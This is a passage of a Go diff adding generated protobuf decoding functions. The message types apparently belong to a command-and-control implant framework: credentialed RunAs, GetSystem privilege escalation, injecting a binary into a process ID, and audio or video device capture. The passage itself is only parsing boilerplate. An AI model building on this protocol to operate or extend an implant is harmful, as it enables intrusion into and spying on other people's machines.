fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Namespace", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Namespace = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Args", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Args = append(m.Args, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *WmiMethodRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: WmiMethodRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: WmiMethodRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Namespace", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Namespace = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ClassName", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.ClassName = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field MethodName", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.MethodName = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Params", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Params == nil { + m.Params = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + mapkey = string(dAtA[iNdEx:postStringIndexmapkey]) + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + mapvalue = string(dAtA[iNdEx:postStringIndexmapvalue]) + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Params[mapkey] = mapvalue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *RunAsRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: RunAsRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: RunAsRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Username", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Username = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Domain", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Domain = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Password", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Password = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Program", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Program = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Args", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Args = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 6: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field UseProfile", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.UseProfile = bool(v != 0) + case 7: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Netonly", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Netonly = bool(v != 0) + case 8: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field UseEnv", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.UseEnv = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *GetSystem) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: GetSystem: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: GetSystem: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bin", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Bin = append(m.Bin[:0], dAtA[iNdEx:postIndex]...) + if m.Bin == nil { + m.Bin = []byte{} + } + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) + } + m.Pid = 0 + m.Pid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Inject) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Inject: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Inject: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bin", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Bin = append(m.Bin[:0], dAtA[iNdEx:postIndex]...) + if m.Bin == nil { + m.Bin = []byte{} + } + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) + } + m.Pid = 0 + m.Pid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Pipe) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Pipe: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Pipe: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Target", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Target = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Data", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Data = append(m.Data[:0], dAtA[iNdEx:postIndex]...) + if m.Data == nil { + m.Data = []byte{} + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *PipeRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: PipeRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: PipeRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Type = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Pipe", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Pipe == nil { + m.Pipe = &Pipe{} + } + if err := m.Pipe.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Switch) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Switch: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Switch: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Urls", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Urls = append(m.Urls, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *TaskCtrl) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: TaskCtrl: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: TaskCtrl: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field TaskId", wireType) + } + m.TaskId = 0 + m.TaskId, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Op", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Op = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *TaskInfo) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: TaskInfo: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: TaskInfo: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field TaskId", wireType) + } + m.TaskId = 0 + m.TaskId, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Last", wireType) + } + m.Last = 0 + m.Last, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field RecvCount", wireType) + } + m.RecvCount = 0 + m.RecvCount, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field SendCount", wireType) + } + m.SendCount = 0 + m.SendCount, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *TaskListResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: TaskListResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: TaskListResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Tasks", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Tasks = append(m.Tasks, &TaskInfo{}) + if err := m.Tasks[len(m.Tasks)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *FFmpegRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: FFmpegRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: FFmpegRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Action", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Action = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field DeviceName", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.DeviceName = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field OutputFormat", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.OutputFormat = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field OutputPath", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return 